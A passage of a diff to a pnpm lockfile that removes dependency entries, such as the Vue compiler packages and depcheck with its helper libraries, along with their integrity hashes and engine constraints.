- resolution: {integrity: sha512-dISoDXWWQwUquiKsyZ4Ng+HX2KsPL7LyHKHQwgGFEA3IaKac4Obd+h2a/a6waisAoepJlBcx9paWqjA8/HVjCw==}
-
'@types/react-dom@19.2.3':
resolution: {integrity: sha512-jp2L/eY6fn+KgVVQAOqYItbF0VY/YApe5Mz2F0aykSO8gx31bYCZyvSeYxCHKvzHG5eZjc+zyaS5BrBWya2+kQ==}
peerDependencies:
@@ -1137,21 +1091,6 @@ packages:
cpu: [x64]
os: [win32]
- '@vue/compiler-core@3.5.39':
- resolution: {integrity: sha512-16KBTEXAJCpDr0mwlw+AZyhu8iyC7R3S2vBwsI7QnWJU6X3WKc9VKeNEZpiMdZ569qWhz9574L3vV55qRL0Vtw==}
-
- '@vue/compiler-dom@3.5.39':
- resolution: {integrity: sha512-oQPigALqYbNxTNPvNgSOe+czwVExfbVF02lz8jP0S3AXJiu3jxYDygNUiqSep4ezzW8XgnubqH63My2A7JR/vg==}
-
- '@vue/compiler-sfc@3.5.39':
- resolution: {integrity: sha512-d0ki86iOyN8LoZPBmk5SJWNwHP19CnDDCfuo//+2WJa2g5Ke0Jay983PIBIcSSzldC68I8DrD5GrHV3OSDfodg==}
-
- '@vue/compiler-ssr@3.5.39':
- resolution: {integrity: sha512-Ce7/wvwMHai74bdszfXExdazFigYnlF9zgCmEQUcM1j0fOymlouZ7XilTYNo8oUjhlnjYOZbGrcYKuqjz89Ucw==}
-
- '@vue/shared@3.5.39':
- resolution: {integrity: sha512-l1rrBtBfTnmxvtsvdQDXltUUy8S1Y+ZaqdfUzmAnJkTd8Z8rv5v/ytW+TKiqEOWyHPoqtPlNFSs0lhRmYVSHVA==}
-
acorn-jsx@5.3.2:
resolution: {integrity: sha512-rq9s+JNhf0IChjtDXxllJ7g41oZk5SlXtp0LHwyA5cejwn7vKmKp4pPri6YEePv2PU65sAsegbXtIinmDFDXgQ==}
peerDependencies:
@@ -1183,9 +1122,6 @@ packages:
arg@5.0.2:
resolution: {integrity: sha512-PYjyFOLKQ9y57JvQ6QLo8dAgNqswh8M1RMJYdQduT6xbWSgK36P/Z/v+p888pM69jMMfS8Xd8F6I1kQ/I9HUGg==}
- argparse@1.0.10:
- resolution: {integrity: sha512-o5Roy6tNG4SL/FOkCAN6RzjiakZS25RLYFrcMttJqbdd8BWrnA+fGz57iN5Pb06pvBGvl5gQ0B48dJlslXvoTg==}
-
argparse@2.0.1:
resolution: {integrity: sha512-8+9WqebbFzpX9OR+Wa6O29asIogeRMzcGtAINdpMHHyAg10f05aSFVBbcEqGf/PXw1EjAZ+q2/bEBg3DvurK3Q==}
@@ -1201,18 +1137,10 @@ packages:
resolution: {integrity: sha512-LHE+8BuR7RYGDKvnrmcuSq3tDcKv9OFEXQt/HpbZhY7V6h0zlUXutnAD82GiFx9rdieCMjkvtcsPqBwgUl1Iiw==}
engines: {node: '>= 0.4'}
- array-differ@3.0.0:
- resolution: {integrity: sha512-THtfYS6KtME/yIAhKjZ2ul7XI96lQGHRputJQHO80LAWQnuGP4iCIN8vdMRboGbIEYBwU33q8Tch1os2+X0kMg==}
- engines: {node: '>=8'}
-
array-includes@3.1.9:
resolution: {integrity: sha512-FmeCCAenzH0KH381SPT5FZmiA/TmpndpcaShhfgEN9eCVjnFBqq3l1xrI42y8+PPLI6hypzou4GXw00WHmPBLQ==}
engines: {node: '>= 0.4'}
- array-union@2.1.0:
- resolution: {integrity: sha512-HGyxoOTYUyCM6stUe6EJgnd4EoewAI7zMdfqO+kGjnlZmBDz/cR5pf8r/cR4Wq60sL/p0IkcjUEEPwS3GFrIyw==}
- engines: {node: '>=8'}
-
array.prototype.findlast@1.2.5:
resolution: {integrity: sha512-CVvd6FHg1Z3POpBLxO6E6zr+rSKEQ9L6rZHAaY7lLfhKsWYUBBOuMs0e9o24oopj6H+geRCX0YJ+TJLBK2eHyQ==}
engines: {node: '>= 0.4'}
@@ -1237,10 +1165,6 @@ packages:
resolution: {integrity: sha512-BNoCY6SXXPQ7gF2opIP4GBE+Xw7U+pHMYKuzjgCN3GwiaIR09UUeKfheyIry77QtrCBlC0KK0q5/TER/tYh3PQ==}
engines: {node: '>= 0.4'}
- arrify@2.0.1:
- resolution: {integrity: sha512-3duEwti880xqi4eAMN8AyR4a0ByT90zoYdLlevfrvU43vb0YZwZVfxOgxWrLXXXpyugL0hNZc9G6BiB5B3nUug==}
- engines: {node: '>=8'}
-
ast-types-flow@0.0.8:
resolution: {integrity: sha512-OH/2E5Fg20h2aPrbe+QL8JZQFko0YZaF+j4mnQ7BGhfavO7OpSLa8a0y9sBwomHdSbkhTS8TQNayBfnW5DwbvQ==}
@@ -1274,9 +1198,6 @@ packages:
brace-expansion@1.1.16:
resolution: {integrity: sha512-IDw48K2/2kRkg9LdJxurvq3lV3aBgq0REY89duEqFRthjlPdXHKMj7EnQOXVckxzgisinf3nHfrcE2FufFLXMw==}
- brace-expansion@2.1.2:
- resolution: {integrity: sha512-w5JZcKgdhDOgOwm8H+KgbosopHMuGcl6qbulwjtz3SM7I7P3yW1eAjzMPLrIE+NQ9vjgANKHWeMHnrT0OXW1oA==}
-
brace-expansion@5.0.7:
resolution: {integrity: sha512-7oFy703dxfY3/NLxC1fh2SUCQ0H9rmAY+5EpDVfXjUTTs+HEwR2nYaqLv+GWcTsumwxPfiz6CzCNkwXwBUwqCA==}
engines: {node: 18 || 20 || >=22}
@@ -1305,9 +1226,6 @@ packages:
resolution: {integrity: sha512-+ys997U96po4Kx/ABpBCqhA9EuxJaQWDQg7295H4hBphv3IZg0boBKuwYpt4YXp6MZ5AmZQnU/tyMTlRpaSejg==}
engines: {node: '>= 0.4'}
- callsite@1.0.0:
- resolution: {integrity: sha512-0vdNRFXn5q+dtOqjfFtmtlI9N2eVZ7LMyEV2iKC5mEEFvSg/69Ml6b/WU2qF8W1nLRa0wiSrDT3Y5jOHZCwKPQ==}
-
callsites@3.1.0:
resolution: {integrity: sha512-P8BjAsXvZS+VIDUI11hHCQEv74YT67YUi5JJFNWIqL235sBmjX4+qx9Muvls5ivyNENctx46xQLQ3aTuE7ssaQ==}
engines: {node: '>=6'}
@@ -1316,10 +1234,6 @@ packages:
resolution: {integrity: sha512-QOSvevhslijgYwRx6Rv7zKdMF8lbRmx+uQGx2+vDc+KI/eBnsy9kit5aj23AgGu3pa4t9AgwbnXWqS+iOY+2aA==}
engines: {node: '>= 6'}
- camelcase@6.3.0:
- resolution: {integrity: sha512-Gmy6FhYlCY7uOElZUSbxo2UCDH8owEk996gkbrpsgGtrJLM3J7jGxl9Ic7Qwwj4ivOE5AWZWRMecDdF7hqGjFA==}
- engines: {node: '>=10'}
-
caniuse-lite@1.0.30001805:
resolution: {integrity: sha512-52noaS3DubycKSXaU30TwPGIp+POyQSUVa5jBEq3vkRkY0kjyb3LQgvhU6WGyCcyXqVLWO0Cw0Q6BSdD0kUfVA==}
@@ -1347,9 +1261,6 @@ packages:
client-only@0.0.1:
resolution: {integrity: sha512-IV3Ou0jSMzZrd3pZ48nLkT9DA7Ag1pnPzaiQhpW7c3RbcqqzvzzVu+L8gfqMp/8IM2MQtSiqaCxrrcfu8I8rMA==}
- cliui@7.0.4:
- resolution: {integrity: sha512-OcRE68cOsVMXp1Yvonl/fzkQOyjLSu/8bhPDfQt0e0/Eb283TKP20Fs2MqoPsr9SwA595rRCA+QMzYc9nBP+JQ==}
-
clsx@2.1.1:
resolution: {integrity: sha512-eYm0QWBtUrBWZWG0d386OGAw16Z995PiOVo2B7bjWSbHedGl5e0ZWaq65kOGgUSNesEIDkB9ISbTg/JK9dhCZA==}
engines: {node: '>=6'}
@@ -1375,10 +1286,6 @@ packages:
resolution: {integrity: sha512-5IKcdX0nnYavi6G7TtOhwkYzyjfJlatbjMjuLSfE2kYT5pMDOilZ4OvMhi637CcDICTmz3wARPoyhqyX1Y+XvA==}
engines: {node: ^14.18.0 || >=16.10.0}
- cosmiconfig@7.1.0:
- resolution: {integrity: sha512-AdmX6xUzdNASswsFtmwSt7Vj8po9IuqXm0UXz7QKPuEUmPB4XyjGfaAr2PSuELMwkRMVH1EpIkX5bTZGRB3eCA==}
- engines: {node: '>=10'}
-
cross-spawn@7.0.6:
resolution: {integrity: sha512-uV2QOWP2nWzsy2aMp8aRibhi9dlzF5Hgh5SHaB9OiTGEyDTiJJyx0uy51QXdyWbtAHNua4XJzUKca3OzKUd3vA==}
engines: {node: '>= 8'}
@@ -1441,21 +1348,9 @@ packages:
defu@6.1.7:
resolution: {integrity: sha512-7z22QmUWiQ/2d0KkdYmANbRUVABpZ9SNYyH5vx6PZ+nE5bcC0l7uFvEfHlyld/HcGBFTL536ClDt3DEcSlEJAQ==}
- depcheck@1.4.7:
- resolution: {integrity: sha512-1lklS/bV5chOxwNKA/2XUUk/hPORp8zihZsXflr8x0kLwmcZ9Y9BsS6Hs3ssvA+2wUVbG0U2Ciqvm1SokNjPkA==}
- engines: {node: '>=10'}
- hasBin: true
-
- deps-regex@0.2.0:
- resolution: {integrity: sha512-PwuBojGMQAYbWkMXOY9Pd/NWCDNHVH12pnS7WHqZkTSeMESe4hwnKKRp0yR87g37113x4JPbo/oIvXY+s/f56Q==}
-
destr@2.0.5:
resolution: {integrity: sha512-ugFTXCtDZunbzasqBxrK93Ik/DRYsO6S/fedkWEMKqt04xZ4csmnmwGDBAb07QWNaGMAmnTIemsYZCksjATwsA==}
- detect-file@1.0.0:
- resolution: {integrity: sha512-DtCOLG98P007x7wiiOmfI0fi3eIKyWiLTGJ2MDnVi/E04lWGbf+JzrRHMm0rgIIZJGtHpKpbVgLWHrv8xXpc3Q==}
- engines: {node: '>=0.10.0'}
-
detect-libc@2.1.2:
resolution: {integrity: sha512-Btj2BOOO83o3WyH59e8MgXsxEQVcarkUOpEYrubB0urwnN10yQ364rsiByU11nZlqWYZm05i/of7io4mzihBtQ==}
engines: {node: '>=8'}
@@ -1488,9 +1383,6 @@ packages:
effect@3.21.0:
resolution: {integrity: sha512-PPN80qRokCd1f015IANNhrwOnLO7GrrMQfk4/lnZRE/8j7UPWrNNjPV0uBrZutI/nHzernbW+J0hdqQysHiSnQ==}
- emoji-regex@8.0.0:
- resolution: {integrity: sha512-MSjYzcWNOA0ewAHpz0MxpYFvwg6yjy1NG3xteoqz644VCo/RPgnr1/GGt+ic3iJTzQ8Eu3TdM14SawnVUmGE6A==}
-
emoji-regex@9.2.2:
resolution: {integrity: sha512-L18DaJsXSUk2+42pv8mLs5jJT2hqFkFE4j21wOmgbUqsZ2hL72NsUU785g9RXgo3s0ZNgVl42TiHp3ZtOv/Vyg==}
@@ -1498,13 +1390,6 @@ packages:
resolution: {integrity: sha512-i6UzDscO/XfAcNYD75CfICkmfLedpyPDdozrLMmQc5ORaQcdMoc21OnlEylMIqI7U8eniKrPMxxtj8k0vhmJhA==}
engines: {node: '>=14'}
- entities@7.0.1:
- resolution: {integrity: sha512-TWrgLOFUQTH994YUyl1yT4uyavY5nNB5muff+RtWaqNVCAK408b5ZnnbNAUEWLTCpum9w6arT70i1XdQ4UeOPA==}
- engines: {node: '>=0.12'}
-
- error-ex@1.3.4:
- resolution: {integrity: sha512-sqQamAnR14VgCr1A618A3sGrygcpK+HEbenA/HiEAkkUwcZIIB/tgWqHFxWgOyDh4nB4JCRimh79dR5Ywc9MDQ==}
-
es-abstract-get@1.0.0:
resolution: {integrity: sha512-6PMWXpdhshVvFp+FoWYs1EvG1Nj0tvk0dZM+XcK0xMEM1czRVcP6ohqPWHy6qPagSpC8j4+p89WXlT+xXJs/fg==}
engines: {node: '>= 0.4'}
@@ -1541,10 +1426,6 @@ packages:
resolution: {integrity: sha512-yPDz7wqpg1/mmHLmS3tcfTfbw5f1eryXvyghYBffGdERwe+mV7ZcWzTR8LR17Kvqt3qfPurjlonmnq3MKXIOXw==}
engines: {node: '>= 0.4'}
- escalade@3.2.0:
- resolution: {integrity: sha512-WUj2qlxaQtO4g6Pq5c29GTcWGDyd8itL8zTlipgECz3JesAiiOKotd8JU6otB3PACgG6xkJUyVhboMS+bje/jA==}
- engines: {node: '>=6'}
-
escape-string-regexp@4.0.0:
resolution: {integrity: sha512-TtpcNJ3XAzx3Gq8sWRzJaVajRs0uVxA2YAkdb1jm2YkPz4G6egUFAyA3n5vtEIZefPk5Wa4UXbKuS5fKkJWdgA==}
engines: {node: '>=10'}
@@ -1645,11 +1526,6 @@ packages:
resolution: {integrity: sha512-oruZaFkjorTpF32kDSI5/75ViwGeZginGGy2NoOSg3Q9bnwlnmDm4HLnkl0RE3n+njDXR037aY1+x58Z/zFdwQ==}
engines: {node: ^12.22.0 || ^14.17.0 || >=16.0.0}
- esprima@4.0.1:
- resolution: {integrity: sha512-eGuFFw7Upda+g4p+QHvnW0RyTX/SVeJBDM/gCtMARO0cLuT2HcEKnTPvhjV6aGeqrCB/sbNop0Kszm0jsaWU4A==}
- engines: {node: '>=4'}
- hasBin: true
-
esquery@1.7.0:
resolution: {integrity: sha512-Ap6G0WQwcU/LHsvLwON1fAQX9Zp0A2Y6Y/cJBl9r/JbW90Zyg4/zbG6zzKa2OTALELarYHmKu0GhpM5EO+7T0g==}
engines: {node: '>=0.10'}
@@ -1662,17 +1538,10 @@ packages:
resolution: {integrity: sha512-MMdARuVEQziNTeJD8DgMqmhwR11BRQ/cBP+pLtYdSTnf3MIO8fFeiINEbX36ZdNlfU/7A9f3gUw49B3oQsvwBA==}
engines: {node: '>=4.0'}
- estree-walker@2.0.2:
- resolution: {integrity: sha512-Rfkk/Mp/DL7JVje3u18FxFujQlTNR2q6QfMSMB7AvCBx91NGj/ba3kCfza0f6dVDbw7YlRf/nDrn7pQrCCyQ/w==}
-
esutils@2.0.3:
resolution: {integrity: sha512-kVscqXk4OCp68SZ0dkgEKVi6/8ij300KBWTJq32P/dYeWTSwK41WyTxalN1eRmA5Z9UU/LX9D7FWSmV9SAYx6g==}
engines: {node: '>=0.10.0'}
- expand-tilde@2.0.2:
- resolution: {integrity: sha512-A5EmesHW6rfnZ9ysHQjPdJRni0SRar0tjtG5MNtm9n5TUvsYU8oozprtRD4AqHxcZWWlVuAmQo2nWKfN9oyjTw==}
- engines: {node: '>=0.10.0'}
-
exsolve@1.1.0:
resolution: {integrity: sha512-D+42+T12DdIlJM3uepa55qGiL3sYdLBOxIl2ifQCzCHz4c7eiolaHsi3BIqEr7JxBzxv2pYZQX9kw16ziMcEmw==}
@@ -1721,10 +1590,6 @@ packages:
resolution: {integrity: sha512-78/PXT1wlLLDgTzDs7sjq9hzz0vXD+zn+7wypEe4fXQxCmdmqfGsEPQxmiCSQI3ajFV91bVSsvNtrJRiW6nGng==}
engines: {node: '>=10'}
- findup-sync@5.0.0:
- resolution: {integrity: sha512-MzwXju70AuyflbgeOhzvQWAvvQdo1XL0A9bVvlXsYcFEBM87WR4OakL4OfZq+QRmr+duJubio+UtNQCPsVESzQ==}
- engines: {node: '>= 10.13.0'}
-
flat-cache@3.2.0:
resolution: {integrity: sha512-CYcENa+FtcUKLmhhqyctpclsq7QF38pKjZHsGNiSQF5r4FtoKDWabFDl3hzaEQMvT1LHEysw5twgLvpYYb4vbw==}
engines: {node: ^10.12.0 || >=12.0.0}
@@ -1772,10 +1637,6 @@ packages:
resolution: {integrity: sha512-SFdFmIJi+ybC0vjlHN0ZGVGHc3lgE0DxPAT0djjVg+kjOnSqclqmj0KQ7ykTOLP6YxoqOvuAODGdcHJn+43q3g==}
engines: {node: '>= 0.4'}
- get-caller-file@2.0.5:
- resolution: {integrity: sha512-DyFP3BM/3YHTQOCUL/w0OZHR0lpKeGrxotcHWcqNEdnltqFwXVfhEBQ94eIo34AfQpo0rGki4cyIiftY06h2Fg==}
- engines: {node: 6.* || 8.* || >= 10.*}
-
get-intrinsic@1.3.0:
resolution: {integrity: sha512-9fSjSaos/fRIVIp+xSJlE6lfwhES7LNtKaCBIamHsjr2na1BiABJPo0mOjjz8GJDURarmCPGqaiVg5mfjb98CQ==}
engines: {node: '>= 0.4'}
@@ -1811,14 +1672,6 @@ packages:
resolution: {integrity: sha512-nFR0zLpU2YCaRxwoCJvL6UvCH2JFyFVIvwTLsIf21AuHlMskA1hhTdk+LlYJtOlYt9v6dvszD2BGRqBL+iQK9Q==}
deprecated: Old versions of glob are not supported, and contain widely publicized security vulnerabilities, which have been fixed in the current version. Please update. Support for old versions may be purchased (at exorbitant rates) by contacting i@izs.me
- global-modules@1.0.0:
- resolution: {integrity: sha512-sKzpEkf11GpOFuw0Zzjzmt4B4UZwjOcG757PPvrfhxcLFbq0wpsgpOqxpxtxFiCG4DtG93M6XRVbF2oGdev7bg==}
- engines: {node: '>=0.10.0'}
-
- global-prefix@1.0.2:
- resolution: {integrity: sha512-5lsx1NUDHtSjfg0eHlmYvZKv8/nVqX4ckFbM+FrGcQ+04KWcWFo9P5MxPZYSzUvyzmdTbI7Eix8Q4IbELDqzKg==}
- engines: {node: '>=0.10.0'}
-
globals@13.24.0:
resolution: {integrity: sha512-AhO5QUcj8llrbG09iWhPU2B204J1xnPeL8kQmVorSsy+Sjj1sk8gIyh6cUocGmH4L0UuhAJy+hJMRA4mgA4mFQ==}
engines: {node: '>=8'}
@@ -1861,10 +1714,6 @@ packages:
resolution: {integrity: sha512-T2UbfbBEF32wiepXIsMlTW9+dDYC6wMh/t/vYA4tuOMKqWz/n3vr1NFSxQiyP+zk2mXsoMA/i/7qV6LKut1t1A==}
engines: {node: '>= 0.4'}
- homedir-polyfill@1.0.3:
- resolution: {integrity: sha512-eSmmWE5bZTK2Nou4g0AI3zZ9rswp7GRKoKXS1BLUkvPviOqs4YTN1djQIqrXy9k5gEtdLPy86JjRwsNM9tnDcA==}
- engines: {node: '>=0.10.0'}
-
ignore@5.3.2:
resolution: {integrity: sha512-hsBTNUqQTDwkWtcdYI2i06Y/nUBEsNEDJKjWdigLvegy8kDuJAS8uRlpkkcQpyEXL0Z/pjDy5HBmMjRCJ2gq+g==}
engines: {node: '>= 4'}
@@ -1888,9 +1737,6 @@ packages:
inherits@2.0.4:
resolution: {integrity: sha512-k/vGaX4/Yla3WzyMCvTQOXYeIHvqOKtnqBduzTHpzpQZzAskKMhZ2K+EnBiSM9zGSoIFeMpXKxa4dYeZIQqewQ==}
- ini@1.3.8:
- resolution: {integrity: sha512-JV/yugV2uzW5iMRSiZAyDtQd+nxtUnjeLt0acNdw98kKLrvuRVyB80tsREOE7yvGVgalhZ6RNXCmEHkUKBKxew==}
-
internal-slot@1.1.0:
resolution: {integrity: sha512-4gd7VpWNQNB4UKKCFFVcp1AVv+FMOgs9NKzjHKusc8jTMhd5eL1NqQqOpE0KzMds804/yHlglp3uxgluOqAPLw==}
engines: {node: '>= 0.4'}
@@ -1899,9 +1745,6 @@ packages:
resolution: {integrity: sha512-DDfANUiiG2wC1qawP66qlTugJeL5HyzMpfr8lLK+jMQirGzNod0B12cFB/9q838Ru27sBwfw78/rdoU7RERz6A==}
engines: {node: '>= 0.4'}
- is-arrayish@0.2.1:
- resolution: {integrity: sha512-zz06S8t0ozoDXMG+ube26zeCTNXcKIPJZJi8hBrF4idCLms4CG9QtK7qBl1boi5ODzFpjswb5JPmHCbMpjaYzg==}
-
is-async-function@2.1.1:
resolution: {integrity: sha512-9dgM/cZBnNvjzaMYHVoxxfPj2QXt22Ev7SuuPrs+xav0ukGB0S6d4ydZdEiM48kLx5kDV+QBPrpVnFyefL8kkQ==}
engines: {node: '>= 0.4'}
@@ -1949,10 +1792,6 @@ packages:
resolution: {integrity: sha512-1pC6N8qWJbWoPtEjgcL2xyhQOP491EQjeUo3qTKcmV8YSDDJrOepfG8pcC7h/QgnQHYSv0mJ3Z/ZWxmatVrysg==}
engines: {node: '>= 0.4'}
- is-fullwidth-code-point@3.0.0:
- resolution: {integrity: sha512-zymm5+u+sCsSWyD9qNaejV3DFvhCKclKdizYaJUuHA83RLjb7nSuGnddCHGv0hk+KY7BMAlsWeK4Ueg6EV6XQg==}
- engines: {node: '>=8'}
-
is-generator-function@1.1.2:
resolution: {integrity: sha512-upqt1SkGkODW9tsGNG5mtXTXtECizwtS2kA161M+gJPc1xdb/Ax629af6YrTwcOeQHbewrPNlE5Dx7kzvXTizA==}
engines: {node: '>= 0.4'}
@@ -2017,10 +1856,6 @@ packages:
resolution: {integrity: sha512-mfcwb6IzQyOKTs84CQMrOwW4gQcaTOAWJ0zzJCl2WSPDrWk/OzDaImWFH3djXhb24g4eudZfLRozAvPGw4d9hQ==}
engines: {node: '>= 0.4'}
- is-windows@1.0.2:
- resolution: {integrity: sha512-eXK1UInq2bPmjyX6e3VHIzMLobc4J94i4AWn+Hpq3OU5KkrRC96OAcR3PRJ/pGu6m8TRnBHP9dkXQVsT/COVIA==}
- engines: {node: '>=0.10.0'}
-
isarray@2.0.5:
resolution: {integrity: sha512-xHjhDr3cNBK0BzdUJSPXZntQUx/mwMS5Rw4A7lPJ90XGAO6ISP/ePDNuo0vhqOZU+UD5JoodwCAAoZQd3FeAKw==}
@@ -2042,25 +1877,13 @@ packages:
js-tokens@4.0.0:
resolution: {integrity: sha512-RdJUflcE3cUzKiMqQgsCu06FPu9UdIJO0beYbPhHN4k6apgJtifcoCtT9bcxOpYBtpD2kCM6Sbzg4CausW/PKQ==}
- js-yaml@3.15.0:
- resolution: {integrity: sha512-ttBQIIQPDeLjpPOohtUdXuXUVoA2uIB6fEH9HyJ7234s5mBJ5wTx20njxplLZQgLaOfpmPQA7X2t5AX6tIPbog==}
- hasBin: true
-
js-yaml@4.3.0:
resolution: {integrity: sha512-1td788aAnnZ5qs7V2QIRl1owjtYpbKt749Y3xauqQgwIIGF/xXWz1wMTEBx5O3LK3lXLVuqXPdPxj2BoFHaW9Q==}
hasBin: true
- jsesc@3.1.0:
- resolution: {integrity: sha512-/sM3dO2FOzXjKQhJuo0Q173wf2KOo8t4I8vHy6lF9poUp7bKT0/NHE8fPX23PwfhnykfqnC2xRxOnVw5XuGIaA==}
- engines: {node: '>=6'}
- hasBin: true
-
json-buffer@3.0.1:
resolution: {integrity: sha512-4bV5BfR2mqfQTJm+V5tPPdf+ZpuhiIvTuAB5g8kcrXOZpTT/QwwVRWBywX1ozr6lEuPdbHxwaJlm9G6mI2sfSQ==}
- json-parse-even-better-errors@2.3.1:
- resolution: {integrity: sha512-xyFwyhro/JEof6Ghe2iz2NcXoj2sloNsWr/XsERDK/oiPCfaNhl5ONfp+jQdAZRQQ0IJWNzH9zIZF7li91kh2w==}
-
json-schema-traverse@0.4.1:
resolution: {integrity: sha512-xbbCH5dCYU5T8LcEhhuh7HJ88HXuW3qsI3Y0zOZFKfZEHcpWiHU/Jxzk629Brsab/mMiHQti9wMP+845RPe3Vg==}
@@ -2071,11 +1894,6 @@ packages:
resolution: {integrity: sha512-g1MWMLBiz8FKi1e4w0UyVL3w+iJceWAFBAaBnnGKOpNa5f8TLktkbre1+s6oICydWAm+HRUGTmI+//xv2hvXYA==}
hasBin: true
- json5@2.2.3:
- resolution: {integrity: sha512-XmOWe7eyHYH14cLdVPoyg+GOH3rYX++KpzrylJwSW98t3Nk+U8XOl8FWKOgwtzdb8lXGf6zYwDUzeHMWfxasyg==}
- engines: {node: '>=6'}
- hasBin: true
-
jsx-ast-utils@3.3.5:
resolution: {integrity: sha512-ZZow9HBI5O6EPgSJLUb8n2NKgmVWTwCvHGwFuJlMjvLFqlGG6pjirPhtdsseaLZjSibD8eegzmYpUZwoIlj2cQ==}
engines: {node: '>=4.0'}
@@ -2108,9 +1926,6 @@ packages:
lodash.merge@4.6.2:
resolution: {integrity: sha512-0KpjqXRVvrYyCsX1swR/XTK0va6VQkQM6MNo7PqW77ByjAhoARA8EfrP1N4+KlKj8YS0ZUCtRT/YUuhyYDujIQ==}
- lodash@4.18.1:
- resolution: {integrity: sha512-dMInicTPVE8d1e5otfwmmjlxkZoUpiVLwyeTdUsi/Caj/gfzzblBcCE5sRHV/AsjuCmxWrte2TNGSYuCeCq+0Q==}
-
loose-envify@1.4.0:
resolution: {integrity: sha512-lyuxPGr/Wfhrlem2CL/UcnUc1zcqKAImBDzukY7Y5F/yQiNdko6+fRLevlw1HgMySw7f611UIY408EtxRSoK3Q==}
hasBin: true
@@ -2120,9 +1935,6 @@ packages:
peerDependencies:
react: ^16.5.1 || ^17.0.0 || ^18.0.0 || ^19.0.0-rc
- magic-string@0.30.21:
- resolution: {integrity: sha512-vd2F4YUyEXKGcLHoq+TEyCjxueSeHnFxyyjNp80yg0XV4vUhnDer/lvvlqM/arB5bXQN5K2/3oinyCRyx8T2CQ==}
-
math-intrinsics@1.1.0:
resolution: {integrity: sha512-/IXtbwEk5HTPyEwyKX6hGkYXxM9nbj64B+ilVJnC/R6B0pH5G4V3b0pVbL7DBj4tkhBAppbQUlf6F6Xl9LHu1g==}
engines: {node: '>= 0.4'}
@@ -2142,10 +1954,6 @@ packages:
minimatch@3.1.5:
resolution: {integrity: sha512-VgjWUsnnT6n+NUk6eZq77zeFdpW2LWDzP6zFGrCbHXiYNul5Dzqk2HHQ5uFH2DNW5Xbp8+jVzaeNt94ssEEl4w==}
- minimatch@7.4.9:
- resolution: {integrity: sha512-Brg/fp/iAVDOQoHxkuN5bEYhyQlZhxddI78yWsCbeEwTHXQjlNLtiJDUsp1GIptVqMI7/gkJMz4vVAc01mpoBw==}
- engines: {node: '>=10'}
-
minimist@1.2.8:
resolution: {integrity: sha512-2yyAR8qBkN3YuheJanUpWC5U3bb5osDywNB8RzDVlDwDHbocAJveqqj1u8+SVD7jkWT4yvsHCpWqqWqAxb0zCA==}
@@ -2158,10 +1966,6 @@ packages:
ms@2.1.3:
resolution: {integrity: sha512-6FlzubTLZG3J2a/NVCAleEhjzq5oxgHyaCU9yYXvcLsvoVaHJq/s5xXI6/XXP6tz7R9xAOtHnSO/tXtF3WRTlA==}
- multimatch@5.0.0:
- resolution: {integrity: sha512-ypMKuglUrZUD99Tk2bUQ+xNQj43lPEfAeX2o9cTteAmShXy2VHDJpuwu1o0xqoKCt9jLVAvwyFKdLTPXKAfJyA==}
- engines: {node: '>=10'}
-
mz@2.7.0:
resolution: {integrity: sha512-z81GNO7nnYMEhrGh9LeymoE4+Yr0Wn5McHIZMK5cfQCl+NDX08sCZgUc9/6MHni9IWuFLm1Z3HTCXu2z9fN62Q==}
@@ -2283,14 +2087,6 @@ packages:
resolution: {integrity: sha512-GQ2EWRpQV8/o+Aw8YqtfZZPfNRWZYkbidE9k5rpl/hC3vtHHBfGm2Ifi6qWV+coDGkrUKZAxE3Lot5kcsRlh+g==}
engines: {node: '>=6'}
- parse-json@5.2.0:
- resolution: {integrity: sha512-ayCKvm/phCGxOkYRSCM82iDwct8/EonSEgCSxWxD7ve6jHggsFl4fZVQBPRNgQoKiuV/odhFrGzQXZwbifC8Rg==}
- engines: {node: '>=8'}
-
- parse-passwd@1.0.0:
- resolution: {integrity: sha512-1Y1A//QUXEZK7YKz+rD9WydcE1+EuPr6ZBgKecAB8tmoW6UFv0NREVJe1p+jRxtThkcbbKkfwIbWJe/IeE6m2Q==}
- engines: {node: '>=0.10.0'}
-
path-exists@4.0.0:
resolution: {integrity: sha512-ak9Qy5Q7jYb2Wwcey5Fpvg2KoAc/ZIhLSLOSBmRmygPsGwkVVt0fZa0qrtMz+m6tJTAHfZQ8FnmB4MG4LWy7/w==}
engines: {node: '>=8'}
@@ -2306,10 +2102,6 @@ packages:
path-parse@1.0.7:
resolution: {integrity: sha512-LDJzPVEEEPR+y48z93A0Ed0yXb8pAByGWo/k5YYdYgpY2/2EsOsksJrq7lOHxryrVOn1ejG6oAp8ahvOIQD8sw==}
- path-type@4.0.0:
- resolution: {integrity: sha512-gDKb8aZMDeD/tZWs9P6+q0J9Mwkdl6xMV8TjnGP3qJVJ06bdMgkbBlLU8IdfOsIsFz2BW1rNVT3XuNEl8zPAvw==}
- engines: {node: '>=8'}
-
pathe@2.0.3:
resolution: {integrity: sha512-WUjGcAqP1gQacoQe+OBJsFA7Ld4DyXuUIjZ5cc75cLHvJ7dtNsTugphxIADwspS+AraAUePCKrSVtPLFj/F88w==}
@@ -2338,9 +2130,6 @@ packages:
pkg-types@2.3.1:
resolution: {integrity: sha512-y+ichcgc2LrADuhLNAx8DFjVfgz91pRxfZdI3UDhxHvcVEZsenLO+7XaU5vOp0u/7V/wZ+plyuQxtrDlZJ+yeg==}
- please-upgrade-node@3.2.0:
- resolution: {integrity: sha512-gQR3WpIgNIKwBMVLkpMUeR3e1/E1y42bqDQZfql+kDeXd8COYfM8PQA4X6y7a8u9Ua9FHmsrrmirW2vHs45hWg==}
-
possible-typed-array-names@1.1.0:
resolution: {integrity: sha512-/+5VFTchJDoVj3bhoqi6UeymcD00DAwb1nJwamzPvHEszJ4FpF6SNNbUbOS8yI56qHzdV8eK0qEfOSiodkTdxg==}
engines: {node: '>= 0.4'}
@@ -2487,25 +2276,10 @@ packages:
resolution: {integrity: sha512-dYqgNSZbDwkaJ2ceRd9ojCGjBq+mOm9LmtXnAnEGyHhN/5R7iDW2TRw3h+o/jCFxus3P2LfWIIiwowAjANm7IA==}
engines: {node: '>= 0.4'}
- require-directory@2.1.1:
- resolution: {integrity: sha512-fGxEI7+wsG9xrvdjsrlmL22OMTTiHRwAMroiEeMgq8gzoLC/PQr7RsRDSTLUg/bZAZtF+TVIkHc6/4RIKrui+Q==}
- engines: {node: '>=0.10.0'}
-
- require-package-name@2.0.1:
- resolution: {integrity: sha512-uuoJ1hU/k6M0779t3VMVIYpb2VMJk05cehCaABFhXaibcbvfgR8wKiozLjVFSzJPmQMRqIcO0HMyTFqfV09V6Q==}
-
- resolve-dir@1.0.1:
